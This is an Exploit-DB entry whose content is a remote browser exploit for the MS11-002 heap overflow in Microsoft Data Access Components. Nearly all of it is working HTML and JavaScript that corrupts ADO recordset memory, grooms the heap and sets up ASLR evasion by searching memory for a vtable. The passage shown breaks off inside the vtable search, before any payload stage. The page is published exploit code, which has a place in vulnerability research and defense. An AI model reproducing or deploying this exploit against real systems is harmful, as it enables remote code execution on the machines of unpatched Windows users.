Exploit-DB #15984
Description: Microsoft Data Access Components - Remote Overflow (MS11-002)
Type: remote
Platform: windows
Date: 2011-01-12
Author: Peter Vreugdenhil

Exploit:
<html xmlns:t = "urn:schemas-microsoft-com:time">
  <head>
  <meta name="License" content="Q Public License;http://en.wikipedia.org/wiki/Q_Public_License">
    <style>
      .body {
      
      }
      #test {
    
      }
    </style>
    <script src="heapLib.js"></script>
    <script>
    // This code has been released under the Q Public License by Trolltech
    // http://en.wikipedia.org/wiki/Q_Public_License
    // Source: http://vreugdenhilresearch.nl/ms11-002-pwn2own-heap-overflow/


var StartTime = new Date();    
var FinalHeapSpraySize = 900;
//var SmallHoleSize = 0x1F0;
var SmallHoleSize = 0x240;
var GlobalRowCounter = 0;
  
var localxmlid1;
var localxmlid2;    
var localxmlid3;    
var localxmlid5;  
var adobase = 0;
var finalspray = '';
var heap = null;
var ExpoitTime = 10;
var CurrentHeapSpraySize = 0;


function Start() {
	FaseOne();
}



function FaseOne() {

  localxmlid1 = document.getElementById('xmlid1').recordset;    
  localxmlid2 = document.getElementById('xmlid2').recordset;    
  localxmlid3 = document.getElementById('xmlid3').recordset;    
  localxmlid5 = document.getElementById('xmlid5').recordset;    
  
  localxmlid2.CacheSize = 0x40000358;
  
  localxmlid1.CacheSize = SmallHoleSize;;   //small hole?
  localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]); 
  localxmlid5.AddNew(["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"], ["c"]); 
  
  
  var my1field = localxmlid5.Fields.Item(0);
  localxmlid1.MoveFirst();
  
  localxmlid2.AddNew(["BBBB"], ["c"]);  
  
  localxmlid1.Close();
  CollectGarbage();
  
  localxmlid3.MoveFirst();
  
  void(Math.atan2(0xbabe, ('###################### 2 Move First').toString()));
  localxmlid2.MoveFirst();

  void(Math.atan2(0xbabe, ('###################### 5 Move First').toString()));
  localxmlid5.CacheSize = 0x40000008;
  localxmlid5.MoveFirst();
  localxmlid3.AddNew(["MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLong"], ["cccccuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuFINDMEccccc"]); 

  var localxmlid4 = document.getElementById('xmlid4').recordset;    

  localxmlid4.AddNew(["bb"], ["c"]); 

  localxmlid4.MoveNext();  
  
  
  var localxmlid6 = document.getElementById('xmlid6').recordset; 
  localxmlid6.AddNew(["CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"], ["c"]);  
  
  localxmlid2.MoveFirst();
  
  Math.tan(1);
  
  document.getElementById('textfaseone').innerText = 'Setting up data for ASLR evasion:';
  if(GlobalRowCounter < 0x10120) {
  	window.setTimeout(IncreaseRowCounter, 100);
  }
}


function IncreaseRowCounter() {
	//alert('IncreaseRowCounter: ' + GlobalRowCounter)
	if(GlobalRowCounter < 0x10120) {		
  	for(i = 0; i < 0x300; i++) {  		
  		GlobalRowCounter++;
      localxmlid2.AddNew(["BBBB"], ["c"]); 
      localxmlid2.Delete();
    }
    var percentcomplete = Math.round(GlobalRowCounter /0x10120 * 100);
    document.getElementById('progressfaseone').innerText = percentcomplete + "%";
    window.setTimeout(IncreaseRowCounter, 100);
  }
  else {
  	document.getElementById('textfaseonedone').innerText = 'Now searching memory for suitable vtable. Please wait...';
  	window.setTimeout(FindADOBase, 100);
  }
}

function FindADOBase() {
	//alert('FindADOBase');
  
  	
  var myfield = localxmlid3.Fields.Item(1);

  	for(i = 0; i < 0xDF6; i++) {
      localxmlid2.AddNew(["BBBB"], ["c"]); 
      localxmlid2.MoveFirst();
      if(myfield.Name != "MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustB